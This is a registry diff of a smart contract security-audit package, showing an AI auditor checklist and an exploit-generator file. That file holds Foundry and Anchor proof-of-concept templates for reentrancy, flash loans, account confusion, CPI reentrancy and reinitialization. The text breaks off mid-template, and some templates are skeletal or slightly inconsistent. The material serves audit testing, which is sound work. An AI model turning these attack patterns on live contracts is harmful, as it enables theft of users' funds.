audit-system 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +351 -0
- package/agents/AGENT_REGISTRY.md +150 -0
- package/agents/assumption-analyzer.json +7 -0
- package/agents/assumption-analyzer.md +37 -0
- package/agents/composition-attacker.json +7 -0
- package/agents/composition-attacker.md +46 -0
- package/agents/economic-attacker.json +7 -0
- package/agents/economic-attacker.md +43 -0
- package/agents/exploit-writer.json +7 -0
- package/agents/exploit-writer.md +48 -0
- package/agents/orchestrator.json +16 -0
- package/agents/orchestrator.md +46 -0
- package/agents/report-writer.json +7 -0
- package/agents/report-writer.md +52 -0
- package/agents/state-machine-hacker.json +7 -0
- package/agents/state-machine-hacker.md +43 -0
- package/agents/test-generator.json +7 -0
- package/agents/test-generator.md +49 -0
- package/cli.js +93 -0
- package/config.json +74 -0
- package/lib/detect-lang.js +109 -0
- package/lib/install.js +229 -0
- package/lib/utils.js +41 -0
- package/obsidian-vault/README.md +103 -0
- package/obsidian-vault/attack-patterns/state-inconsistency.md +90 -0
- package/obsidian-vault/exploits/_index.md +109 -0
- package/obsidian-vault/exploits/beanstalk-2022.md +334 -0
- package/obsidian-vault/exploits/nomad-2022.md +295 -0
- package/obsidian-vault/exploits/ronin-2022.md +251 -0
- package/obsidian-vault/exploits/wormhole-2022.md +284 -0
- package/obsidian-vault/failed-hypotheses/_template.md +77 -0
- package/obsidian-vault/hypotheses/_template.md +43 -0
- package/obsidian-vault/hypotheses/bridge-protocol-template.md +254 -0
- package/obsidian-vault/hypotheses/dex-protocol-template.md +185 -0
- package/obsidian-vault/hypotheses/governance-protocol-template.md +263 -0
- package/obsidian-vault/hypotheses/lending-protocol-template.md +218 -0
- package/obsidian-vault/hypotheses/staking-protocol-template.md +223 -0
- package/obsidian-vault/invariant-catalog/defi-invariants.md +307 -0
- package/obsidian-vault/invariant-catalog/solana-invariants.md +213 -0
- package/obsidian-vault/novel-patterns/pattern-mutation-framework.md +316 -0
- package/obsidian-vault/reports/_template.md +92 -0
- package/obsidian-vault/research/cross-protocol-analysis/.gitkeep +0 -0
- package/obsidian-vault/research/emerging-threats/.gitkeep +0 -0
- package/obsidian-vault/research/protocol-specific/.gitkeep +0 -0
- package/obsidian-vault/test-strategies/fuzzing.md +75 -0
- package/obsidian-vault/vulnerabilities/access-control.md +122 -0
- package/obsidian-vault/vulnerabilities/flash-loan-attack.md +66 -0
- package/obsidian-vault/vulnerabilities/oracle-manipulation.md +135 -0
- package/obsidian-vault/vulnerabilities/reentrancy.md +141 -0
- package/obsidian-vault/vulnerabilities/rust-unsafe-deserialization.md +128 -0
- package/obsidian-vault/vulnerabilities/solana-account-confusion.md +125 -0
- package/obsidian-vault/vulnerabilities/solana-close-account.md +141 -0
- package/obsidian-vault/vulnerabilities/solana-cpi-attacks.md +131 -0
- package/obsidian-vault/vulnerabilities/solana-signer-authorization.md +119 -0
- package/package.json +56 -0
- package/skills/audit-connect.md +385 -0
- package/skills/auditor.md +280 -0
- package/skills/exploit-generator.md +394 -0
- package/skills/novel-discovery.md +551 -0
- package/skills/test-generator.md +511 -0
|
@@ -0,0 +1,280 @@
|
|
|
1
|
+
# Smart Contract Auditor Skill
|
|
2
|
+
|
|
3
|
+
## Role
|
|
4
|
+
Senior Smart Contract Security Auditor with deep expertise in:
|
|
5
|
+
- **EVM/Solidity:** Solidity, DeFi exploit mechanics, Foundry
|
|
6
|
+
- **Solana/Rust:** Anchor, Sealevel, SPL, CPI, PDA, Borsh
|
|
7
|
+
- **ink!/Polkadot:** Substrate, ink! smart contracts, FRAME
|
|
8
|
+
|
|
9
|
+
## Objective
|
|
10
|
+
Systematically analyze smart contracts, identify vulnerabilities, rank severity, and generate actionable findings with reproducible PoC.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Workflow
|
|
15
|
+
|
|
16
|
+
```
|
|
17
|
+
1. Parse contract → identify all functions, modifiers, state variables
|
|
18
|
+
2. Map attack surface → external calls, state transitions, access points
|
|
19
|
+
3. Cross-reference knowledge base → match patterns from vault
|
|
20
|
+
4. Generate attack hypotheses → beyond known patterns
|
|
21
|
+
5. Apply novel discovery → break assumptions, find novel vectors
|
|
22
|
+
6. Create PoC tests → Foundry format
|
|
23
|
+
7. Rank findings by severity
|
|
24
|
+
8. Write audit report
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Analysis Checklist
|
|
30
|
+
|
|
31
|
+
### Access Control
|
|
32
|
+
- [ ] All sensitive functions have proper modifiers (onlyOwner, roles)
|
|
33
|
+
- [ ] Constructor sets ownership correctly
|
|
34
|
+
- [ ] No public functions that should be internal
|
|
35
|
+
- [ ] Proxy admin controls are safe
|
|
36
|
+
|
|
37
|
+
### Reentrancy
|
|
38
|
+
- [ ] CEI pattern followed (Check → Effect → Interact)
|
|
39
|
+
- [ ] ReentrancyGuard used on vulnerable functions
|
|
40
|
+
- [ ] No state updates after external calls
|
|
41
|
+
- [ ] Cross-function reentrancy checked
|
|
42
|
+
|
|
43
|
+
### Arithmetic
|
|
44
|
+
- [ ] SafeMath or Solidity 0.8+ used
|
|
45
|
+
- [ ] No unchecked blocks with dangerous math
|
|
46
|
+
- [ ] Division before multiplication avoided
|
|
47
|
+
- [ ] Precision loss analyzed
|
|
48
|
+
|
|
49
|
+
### External Calls
|
|
50
|
+
- [ ] Return values of `.call()` checked
|
|
51
|
+
- [ ] `.transfer()` / `.send()` gas limitations considered
|
|
52
|
+
- [ ] External contract trust assumptions documented
|
|
53
|
+
- [ ] Flash loan vectors identified
|
|
54
|
+
|
|
55
|
+
### Token Logic
|
|
56
|
+
- [ ] ERC20 return values checked
|
|
57
|
+
- [ ] Fee-on-transfer tokens handled
|
|
58
|
+
- [ ] Rebasing token compatibility verified
|
|
59
|
+
- [ ] Approval race conditions checked
|
|
60
|
+
|
|
61
|
+
### Oracle & Price
|
|
62
|
+
- [ ] No spot price manipulation possible
|
|
63
|
+
- [ ] TWAP used where needed
|
|
64
|
+
- [ ] Chainlink staleness checks present
|
|
65
|
+
- [ ] Flash loan price manipulation vector closed
|
|
66
|
+
|
|
67
|
+
### Denial of Service
|
|
68
|
+
- [ ] No unbounded loops
|
|
69
|
+
- [ ] No pull-payment to blocking contracts
|
|
70
|
+
- [ ] Gas limits considered in all loops
|
|
71
|
+
|
|
72
|
+
### Signature & Replay
|
|
73
|
+
- [ ] Nonces used for replay protection
|
|
74
|
+
- [ ] Chain ID included in signatures
|
|
75
|
+
- [ ] Signature malleability handled
|
|
76
|
+
|
|
77
|
+
### Logic Bugs
|
|
78
|
+
- [ ] State invariants maintained
|
|
79
|
+
- [ ] Edge cases at boundaries (0, max uint)
|
|
80
|
+
- [ ] Order of operations correct
|
|
81
|
+
- [ ] Initialization protected
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## Solana/Rust Audit Checklist
|
|
86
|
+
|
|
87
|
+
### Account Model
|
|
88
|
+
- [ ] All accounts expected by the instruction are checked
|
|
89
|
+
- [ ] Account types are validated (not just Pubkey)
|
|
90
|
+
- [ ] Owner check: `account.owner == program_id` on all program-owned accounts
|
|
91
|
+
- [ ] Signer check: `Signer` or `is_signer` on all sensitive accounts
|
|
92
|
+
- [ ] Writable check: `UncheckedAccount` not used where `AccountInfo` mut required
|
|
93
|
+
- [ ] No account confusion (wrong account passed but same type)
|
|
94
|
+
- [ ] `close` instruction correctly closes accounts (sends rent to correct destination)
|
|
95
|
+
- [ ] Seeds/PDAs derived with correct seeds and bump
|
|
96
|
+
- [ ] `AccountLoader` used correctly for large accounts
|
|
97
|
+
|
|
98
|
+
### Cross-Program Invocation (CPI)
|
|
99
|
+
- [ ] CPI returns checked and handled
|
|
100
|
+
- [ ] Seeds passed in CPI signed correctly (PDA signing)
|
|
101
|
+
- [ ] Reentrancy via CPI considered (malicious program called back)
|
|
102
|
+
- [ ] No missing `invoke_signed` where PDA signing is needed
|
|
103
|
+
- [ ] CPI to unknown/arbitrary programs restricted
|
|
104
|
+
- [ ] Program ID passed from external input verified against expected
|
|
105
|
+
|
|
106
|
+
### Borsh Deserialization
|
|
107
|
+
- [ ] Custom `pack`/`unpack` implementations safe (no overflow)
|
|
108
|
+
- [ ] Discriminator checked before deserializing accounts
|
|
109
|
+
- [ ] Account length validated before unpacking
|
|
110
|
+
- [ ] No `unsafe` deserialization without bounds checking
|
|
111
|
+
- [ ] Padding bytes handled correctly
|
|
112
|
+
- [ ] Enum variants validated (no out-of-bounds variant)
|
|
113
|
+
|
|
114
|
+
### Arithmetic & Numeric
|
|
115
|
+
- [ ] `Overflowing` math avoided or explicitly intended
|
|
116
|
+
- [ ] Safe math via `checked_*`, `overflowing_*`, or `Saturating`/`Wrapping`
|
|
117
|
+
- [ ] Integer division precision loss analyzed
|
|
118
|
+
- [ ] Signed integer usage reviewed for unexpected behavior
|
|
119
|
+
- [ ] Multiplication before division to preserve precision
|
|
120
|
+
|
|
121
|
+
### PDA & Seeds
|
|
122
|
+
- [ ] PDA seeds deterministic and unique
|
|
123
|
+
- [ ] No two users can derive same PDA
|
|
124
|
+
- [ ] Bump seed canonical (highest valid bump)
|
|
125
|
+
- [ ] Seeded accounts not confused with user-provided accounts
|
|
126
|
+
- [ ] `find_program_address` vs `create_program_address` used correctly
|
|
127
|
+
|
|
128
|
+
### Signer & Authorization
|
|
129
|
+
- [ ] All authority checks performed before state mutations
|
|
130
|
+
- [ ] Delegation checks correct (SPL token `delegated_amount`)
|
|
131
|
+
- [ ] `set_authority` instructions protected
|
|
132
|
+
- [ ] Multi-signature setups validated
|
|
133
|
+
- [ ] Owner/authority checks on SPL token accounts
|
|
134
|
+
|
|
135
|
+
### Token Operations (SPL)
|
|
136
|
+
- [ ] Token account ownership verified
|
|
137
|
+
- [ ] Mint authority checks present
|
|
138
|
+
- [ ] Close token accounts use correct destination
|
|
139
|
+
- [ ] Associated token accounts (ATA) derived correctly
|
|
140
|
+
- [ ] Token decimals handled consistently
|
|
141
|
+
|
|
142
|
+
### Clock & Time
|
|
143
|
+
- [ ] `Clock::get()` slot/timestamp assumptions documented
|
|
144
|
+
- [ No reliance on exact block timestamps
|
|
145
|
+
- [ ] Slot number used instead of timestamp where possible
|
|
146
|
+
- [ ] Time-dependent logic bounded
|
|
147
|
+
- [ ] No assumption about transaction ordering within slot
|
|
148
|
+
|
|
149
|
+
### Unsafe Rust
|
|
150
|
+
- [ ] `unsafe` blocks reviewed for memory safety
|
|
151
|
+
- [ ] Raw pointer arithmetic avoided
|
|
152
|
+
- [ ] `std::mem::transmute` usage verified
|
|
153
|
+
- [ ] Union types safe
|
|
154
|
+
- [ ] No undefined behavior (UB) reachable via crafted input
|
|
155
|
+
|
|
156
|
+
### Close Account
|
|
157
|
+
- [ ] Account data zeroed out or discriminator changed before close
|
|
158
|
+
- [ ] Rent correctly claimed by closed account owner
|
|
159
|
+
- [ ] No use-after-close (account recreated via same address)
|
|
160
|
+
- [ ] Reinitialization attack prevented
|
|
161
|
+
|
|
162
|
+
### Rent & Economics
|
|
163
|
+
- [ ] Rent exemption checked
|
|
164
|
+
- [ ] Lamport transfers reviewed for overflow
|
|
165
|
+
- [ ] No lamport draining from program-owned accounts
|
|
166
|
+
- [ ] Rent calculations correct
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Novel Discovery Step
|
|
171
|
+
|
|
172
|
+
After completing the standard checklist, apply the Novel Discovery framework to find unknown vulnerability classes:
|
|
173
|
+
|
|
174
|
+
### When to Apply
|
|
175
|
+
- Complex protocols with novel mechanisms
|
|
176
|
+
- High-value contracts (treasury, governance)
|
|
177
|
+
- When standard audit finds nothing but risk remains
|
|
178
|
+
- During bug bounty triage
|
|
179
|
+
|
|
180
|
+
### Process
|
|
181
|
+
1. **Map Assumptions** — Document all implicit developer assumptions
|
|
182
|
+
2. **Break Assumptions** — Generate attack hypotheses for each assumption
|
|
183
|
+
3. **Economic Model** — Treat protocol as game, find attacker Nash equilibria
|
|
184
|
+
4. **State Machine** — Find invalid state transitions
|
|
185
|
+
5. **Composition Attack** — Test feature interactions
|
|
186
|
+
6. **Generate Hypotheses** — Synthesize concrete, testable attack vectors
|
|
187
|
+
|
|
188
|
+
### Reference
|
|
189
|
+
See [[novel-discovery]] for complete framework, specialized prompts, and usage instructions.
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## Severity Framework
|
|
194
|
+
|
|
195
|
+
| Severity | Criteria | Example |
|
|
196
|
+
|---|---|---|
|
|
197
|
+
| CRITICAL | Direct fund loss, full protocol compromise | Reentrancy draining vault |
|
|
198
|
+
| HIGH | Significant fund loss, broken invariant | Access control bypass |
|
|
199
|
+
| MEDIUM | Partial loss, degraded functionality | Oracle manipulation |
|
|
200
|
+
| LOW | Minor issue, best practice violation | Missing event emission |
|
|
201
|
+
| INFO | Gas optimization, code quality | Unused variable |
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Output Format
|
|
206
|
+
|
|
207
|
+
For each finding:
|
|
208
|
+
|
|
209
|
+
```
|
|
210
|
+
## [SEVERITY] Title
|
|
211
|
+
|
|
212
|
+
**Location:** Contract.sol :: functionName() :: line N
|
|
213
|
+
|
|
214
|
+
**Description:**
|
|
215
|
+
Clear explanation of the vulnerability.
|
|
216
|
+
|
|
217
|
+
**Root Cause:**
|
|
218
|
+
Technical reason why this exists.
|
|
219
|
+
|
|
220
|
+
**Impact:**
|
|
221
|
+
What an attacker can achieve and economic damage.
|
|
222
|
+
|
|
223
|
+
**Attack Vector:**
|
|
224
|
+
Step-by-step attack path.
|
|
225
|
+
|
|
226
|
+
**PoC (Foundry):**
|
|
227
|
+
\`\`\`solidity
|
|
228
|
+
function test_exploit() public {
|
|
229
|
+
// setup
|
|
230
|
+
// attack
|
|
231
|
+
// assert damage
|
|
232
|
+
}
|
|
233
|
+
\`\`\`
|
|
234
|
+
|
|
235
|
+
**Recommendation:**
|
|
236
|
+
Concrete fix with code example.
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Prompts to Use with Claude
|
|
242
|
+
|
|
243
|
+
### Full Audit
|
|
244
|
+
```
|
|
245
|
+
You are a Senior Smart Contract Security Auditor.
|
|
246
|
+
Analyze the following Solidity contract using this checklist: [paste checklist].
|
|
247
|
+
For each vulnerability found:
|
|
248
|
+
1. Classify severity (CRITICAL/HIGH/MEDIUM/LOW/INFO)
|
|
249
|
+
2. Explain root cause
|
|
250
|
+
3. Describe attack vector step by step
|
|
251
|
+
4. Generate Foundry PoC test
|
|
252
|
+
5. Suggest concrete fix
|
|
253
|
+
|
|
254
|
+
Contract:
|
|
255
|
+
[PASTE CONTRACT]
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
### Focused Attack
|
|
259
|
+
```
|
|
260
|
+
You are an exploit specialist.
|
|
261
|
+
Given this contract, generate attack hypotheses beyond known patterns.
|
|
262
|
+
Focus on:
|
|
263
|
+
- State transition edge cases
|
|
264
|
+
- Economic attack vectors
|
|
265
|
+
- Interaction between functions
|
|
266
|
+
- Invariant violations
|
|
267
|
+
|
|
268
|
+
Contract:
|
|
269
|
+
[PASTE CONTRACT]
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
### PoC Generation
|
|
273
|
+
```
|
|
274
|
+
Generate a complete Foundry test file for this vulnerability:
|
|
275
|
+
- Vulnerability: [DESCRIPTION]
|
|
276
|
+
- Contract: [PASTE CONTRACT]
|
|
277
|
+
- Attack goal: [WHAT ATTACKER WANTS]
|
|
278
|
+
|
|
279
|
+
Include setup, attack execution, and assertion of success.
|
|
280
|
+
```
|
|
@@ -0,0 +1,394 @@
|
|
|
1
|
+
# Exploit Generator Skill
|
|
2
|
+
|
|
3
|
+
## Role
|
|
4
|
+
Smart Contract Exploit Specialist — transforms vulnerability hypotheses into working PoC tests.
|
|
5
|
+
- **Solidity:** Foundry PoC tests
|
|
6
|
+
- **Rust/Solana:** Anchor TypeScript tests or Rust integration tests
|
|
7
|
+
- **Rust/ink!:** cargo-contract tests
|
|
8
|
+
|
|
9
|
+
## Objective
|
|
10
|
+
Given a vulnerability description and contract code, generate a complete, reproducible exploit that proves the finding is valid and quantifies impact.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Exploit Generation Framework
|
|
15
|
+
|
|
16
|
+
### Phase 1 — Understand the Target
|
|
17
|
+
```
|
|
18
|
+
- What is the contract's purpose?
|
|
19
|
+
- What assets does it hold?
|
|
20
|
+
- What invariants must hold?
|
|
21
|
+
- What functions are entry points?
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
### Phase 2 — Model the Attack
|
|
25
|
+
```
|
|
26
|
+
- Who is the attacker (EOA, contract, flash loan)?
|
|
27
|
+
- What preconditions are needed?
|
|
28
|
+
- What sequence of calls?
|
|
29
|
+
- What is the success condition?
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Phase 3 — Write the PoC
|
|
33
|
+
```
|
|
34
|
+
- Setup: deploy contracts, fund accounts, set initial state
|
|
35
|
+
- Execute: run attack sequence
|
|
36
|
+
- Assert: prove damage or invariant violation
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### Phase 4 — Maximize Impact
|
|
40
|
+
```
|
|
41
|
+
- Can the attack be repeated?
|
|
42
|
+
- Can it be scaled?
|
|
43
|
+
- What's the maximum extractable value?
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Foundry PoC Templates
|
|
49
|
+
|
|
50
|
+
### Template 1 — Basic Exploit
|
|
51
|
+
```solidity
|
|
52
|
+
// SPDX-License-Identifier: MIT
|
|
53
|
+
pragma solidity ^0.8.0;
|
|
54
|
+
|
|
55
|
+
import "forge-std/Test.sol";
|
|
56
|
+
import "../src/VulnerableContract.sol";
|
|
57
|
+
|
|
58
|
+
contract ExploitTest is Test {
|
|
59
|
+
VulnerableContract target;
|
|
60
|
+
address attacker = makeAddr("attacker");
|
|
61
|
+
address victim = makeAddr("victim");
|
|
62
|
+
|
|
63
|
+
function setUp() public {
|
|
64
|
+
target = new VulnerableContract();
|
|
65
|
+
// Fund setup
|
|
66
|
+
deal(address(target), 100 ether);
|
|
67
|
+
deal(attacker, 1 ether);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
function test_exploit() public {
|
|
71
|
+
uint256 balanceBefore = attacker.balance;
|
|
72
|
+
|
|
73
|
+
vm.startPrank(attacker);
|
|
74
|
+
// Attack logic here
|
|
75
|
+
vm.stopPrank();
|
|
76
|
+
|
|
77
|
+
uint256 balanceAfter = attacker.balance;
|
|
78
|
+
assertGt(balanceAfter, balanceBefore, "Exploit failed: no profit");
|
|
79
|
+
|
|
80
|
+
console.log("Profit:", balanceAfter - balanceBefore);
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### Template 2 — Reentrancy Exploit
|
|
86
|
+
```solidity
|
|
87
|
+
contract ReentrancyAttacker {
|
|
88
|
+
IVulnerable target;
|
|
89
|
+
uint256 attackCount;
|
|
90
|
+
|
|
91
|
+
constructor(address _target) {
|
|
92
|
+
target = IVulnerable(_target);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
function attack() external payable {
|
|
96
|
+
target.deposit{value: msg.value}();
|
|
97
|
+
target.withdraw(msg.value);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
receive() external payable {
|
|
101
|
+
if (address(target).balance >= msg.value && attackCount < 5) {
|
|
102
|
+
attackCount++;
|
|
103
|
+
target.withdraw(msg.value);
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### Template 3 — Flash Loan Attack
|
|
110
|
+
```solidity
|
|
111
|
+
contract FlashLoanAttacker is IFlashLoanReceiver {
|
|
112
|
+
ILendingPool pool;
|
|
113
|
+
IVulnerable target;
|
|
114
|
+
|
|
115
|
+
function attack() external {
|
|
116
|
+
uint256 amount = 1_000_000e18;
|
|
117
|
+
pool.flashLoan(address(this), amount, "");
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
function executeOperation(uint256 amount, uint256 fee) external {
|
|
121
|
+
// Use flash loaned funds to manipulate price / state
|
|
122
|
+
// ...
|
|
123
|
+
|
|
124
|
+
// Repay
|
|
125
|
+
IERC20(token).transfer(address(pool), amount + fee);
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### Template 4 — Access Control Bypass
|
|
131
|
+
```solidity
|
|
132
|
+
function test_accessControlBypass() public {
|
|
133
|
+
vm.startPrank(attacker);
|
|
134
|
+
|
|
135
|
+
// Test if unauthorized call succeeds
|
|
136
|
+
target.sensitiveFunction();
|
|
137
|
+
|
|
138
|
+
// Assert unauthorized action succeeded
|
|
139
|
+
assertEq(target.owner(), attacker, "Should not be possible");
|
|
140
|
+
|
|
141
|
+
vm.stopPrank();
|
|
142
|
+
}
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### Template 5 — Oracle Manipulation
|
|
146
|
+
```solidity
|
|
147
|
+
function test_oracleManipulation() public {
|
|
148
|
+
// 1. Get flash loan
|
|
149
|
+
// 2. Swap to manipulate spot price
|
|
150
|
+
// 3. Call vulnerable function that reads spot price
|
|
151
|
+
// 4. Profit from price discrepancy
|
|
152
|
+
// 5. Swap back, repay flash loan
|
|
153
|
+
|
|
154
|
+
vm.startPrank(attacker);
|
|
155
|
+
|
|
156
|
+
uint256 priceBefore = oracle.getPrice();
|
|
157
|
+
// Manipulate...
|
|
158
|
+
uint256 priceAfter = oracle.getPrice();
|
|
159
|
+
|
|
160
|
+
assertNotEq(priceBefore, priceAfter, "Price not manipulated");
|
|
161
|
+
|
|
162
|
+
vm.stopPrank();
|
|
163
|
+
}
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Rust/Solana Exploit Templates
|
|
169
|
+
|
|
170
|
+
Chain: Solana
|
|
171
|
+
Framework: Anchor
|
|
172
|
+
Testing: @coral-xyz/anchor (TypeScript) ou Rust integration tests
|
|
173
|
+
|
|
174
|
+
### Template 1 — Anchor TypeScript Exploit
|
|
175
|
+
|
|
176
|
+
```typescript
|
|
177
|
+
import * as anchor from "@coral-xyz/anchor";
|
|
178
|
+
import { Program } from "@coral-xyz/anchor";
|
|
179
|
+
import { TargetProgram } from "../target/types/target_program";
|
|
180
|
+
|
|
181
|
+
describe("exploit", () => {
|
|
182
|
+
anchor.setProvider(anchor.AnchorProvider.env());
|
|
183
|
+
const program = anchor.workspace.TargetProgram as Program<TargetProgram>;
|
|
184
|
+
const attacker = anchor.web3.Keypair.generate();
|
|
185
|
+
|
|
186
|
+
before(async () => {
|
|
187
|
+
// Airdrop SOL to attacker
|
|
188
|
+
const sig = await anchor
|
|
189
|
+
.getProvider()
|
|
190
|
+
.connection.requestAirdrop(
|
|
191
|
+
attacker.publicKey,
|
|
192
|
+
10 * anchor.web3.LAMPORTS_PER_SOL
|
|
193
|
+
);
|
|
194
|
+
await anchor
|
|
195
|
+
.getProvider()
|
|
196
|
+
.connection.confirmTransaction(sig);
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
it("Executes exploit", async () => {
|
|
200
|
+
// Setup - create accounts, fund, etc.
|
|
201
|
+
const victimAccount = anchor.web3.Keypair.generate();
|
|
202
|
+
// ... setup code ...
|
|
203
|
+
|
|
204
|
+
// Get balances before
|
|
205
|
+
const beforeBalance = await anchor
|
|
206
|
+
.getProvider()
|
|
207
|
+
.connection.getBalance(attacker.publicKey);
|
|
208
|
+
|
|
209
|
+
// Execute attack sequence
|
|
210
|
+
const tx = await program.methods
|
|
211
|
+
.vulnerableFunction(new anchor.BN(100))
|
|
212
|
+
.accounts({
|
|
213
|
+
attacker: attacker.publicKey,
|
|
214
|
+
// ... other accounts ...
|
|
215
|
+
})
|
|
216
|
+
.signers([attacker])
|
|
217
|
+
.rpc();
|
|
218
|
+
|
|
219
|
+
// Get balances after
|
|
220
|
+
const afterBalance = await anchor
|
|
221
|
+
.getProvider()
|
|
222
|
+
.connection.getBalance(attacker.publicKey);
|
|
223
|
+
|
|
224
|
+
// Assert exploit succeeded
|
|
225
|
+
console.log("Profit:", (afterBalance - beforeBalance) / anchor.web3.LAMPORTS_PER_SOL, "SOL");
|
|
226
|
+
expect(afterBalance).toBeGreaterThan(beforeBalance);
|
|
227
|
+
});
|
|
228
|
+
});
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### Template 2 — Account Confusion Exploit (Anchor/TS)
|
|
232
|
+
|
|
233
|
+
```typescript
|
|
234
|
+
it("Account confusion: swap user A for user B", async () => {
|
|
235
|
+
// The program expects two accounts: user_a and user_b
|
|
236
|
+
// User B's account is writable and has funds
|
|
237
|
+
// Attacker passes user_b as BOTH user_a AND user_b
|
|
238
|
+
|
|
239
|
+
const exploitTx = await program.methods
|
|
240
|
+
.transfer(new anchor.BN(1000))
|
|
241
|
+
.accounts({
|
|
242
|
+
userA: victim.publicKey, // Same account!
|
|
243
|
+
userB: victim.publicKey, // Same account!
|
|
244
|
+
authority: attacker.publicKey,
|
|
245
|
+
})
|
|
246
|
+
.signers([attacker])
|
|
247
|
+
.rpc();
|
|
248
|
+
|
|
249
|
+
// Assert: attacker transferred from user B to... user B (no-op bypass!)
|
|
250
|
+
// Or: attacker withdrew from user B by confusing identity
|
|
251
|
+
});
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
### Template 3 — CPI Reentrancy Exploit (Rust)
|
|
255
|
+
|
|
256
|
+
```rust
|
|
257
|
+
// Attacker program that reenters the target during CPI
|
|
258
|
+
use anchor_lang::prelude::*;
|
|
259
|
+
use anchor_lang::solana_program::program::invoke;
|
|
260
|
+
|
|
261
|
+
declare_id!("AttacK1111111111111111111111111111111111111");
|
|
262
|
+
|
|
263
|
+
#[program]
|
|
264
|
+
pub mod attacker {
|
|
265
|
+
use super::*;
|
|
266
|
+
|
|
267
|
+
pub fn exploit(ctx: Context<Exploit>) -> Result<()> {
|
|
268
|
+
// Call target's vulnerable function
|
|
269
|
+
let target_cpi = ctx.accounts.target_program.to_account_info();
|
|
270
|
+
let victim = ctx.accounts.victim.to_account_info();
|
|
271
|
+
|
|
272
|
+
// CPI into target - target will call us back
|
|
273
|
+
invoke(
|
|
274
|
+
&target_vulnerable_ix,
|
|
275
|
+
&[/* accounts */],
|
|
276
|
+
)?;
|
|
277
|
+
|
|
278
|
+
Ok(())
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
pub fn callback(
|
|
282
|
+
ctx: Context<Callback>,
|
|
283
|
+
amount: u64,
|
|
284
|
+
) -> Result<()> {
|
|
285
|
+
// Reenter the target again
|
|
286
|
+
// Target assumes state is already updated, but it's not!
|
|
287
|
+
let target_cpi = ctx.accounts.target_program.to_account_info();
|
|
288
|
+
|
|
289
|
+
invoke(
|
|
290
|
+
&target_vulnerable_ix,
|
|
291
|
+
&[/* accounts */],
|
|
292
|
+
)?;
|
|
293
|
+
|
|
294
|
+
Ok(())
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
### Template 4 — Reinitialization Exploit (Anchor/TS)
|
|
300
|
+
|
|
301
|
+
```typescript
|
|
302
|
+
it("Reinit after close", async () => {
|
|
303
|
+
// 1. Create a legitimate user account
|
|
304
|
+
const userAccount = anchor.web3.Keypair.generate();
|
|
305
|
+
await program.methods
|
|
306
|
+
.initialize()
|
|
307
|
+
.accounts({ user: userAccount.publicKey })
|
|
308
|
+
.signers([userAccount])
|
|
309
|
+
.rpc();
|
|
310
|
+
|
|
311
|
+
// 2. Close the account
|
|
312
|
+
await program.methods
|
|
313
|
+
.close()
|
|
314
|
+
.accounts({ user: userAccount.publicKey })
|
|
315
|
+
.signers([userAccount])
|
|
316
|
+
.rpc();
|
|
317
|
+
|
|
318
|
+
// 3. Reinitialize the same account (now rent-exempt)
|
|
319
|
+
// The program doesn't check if already initialized!
|
|
320
|
+
const attacker = anchor.web3.Keypair.generate();
|
|
321
|
+
await program.methods
|
|
322
|
+
.initialize()
|
|
323
|
+
.accounts({ user: userAccount.publicKey })
|
|
324
|
+
.signers([userAccount]) // Attacker controls the old keypair!
|
|
325
|
+
.rpc();
|
|
326
|
+
|
|
327
|
+
// 4. Now attacker has access to previous user's privileges
|
|
328
|
+
});
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
---
|
|
332
|
+
|
|
333
|
+
## Prompt Templates
|
|
334
|
+
|
|
335
|
+
### Generate Full PoC (Solidity)
|
|
336
|
+
```
|
|
337
|
+
You are a smart contract exploit specialist.
|
|
338
|
+
|
|
339
|
+
Vulnerability: [DESCRIPTION]
|
|
340
|
+
Type: [REENTRANCY / ACCESS_CONTROL / ORACLE / ARITHMETIC / LOGIC]
|
|
341
|
+
Contract: [PASTE CONTRACT]
|
|
342
|
+
|
|
343
|
+
Generate a complete Foundry test that:
|
|
344
|
+
1. Deploys and sets up the contract
|
|
345
|
+
2. Executes the attack
|
|
346
|
+
3. Asserts the exploit succeeded
|
|
347
|
+
4. Logs profit or damage amount
|
|
348
|
+
|
|
349
|
+
Use realistic amounts. The test must PASS when run with `forge test`.
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
### Generate Full PoC (Rust/Solana)
|
|
353
|
+
```
|
|
354
|
+
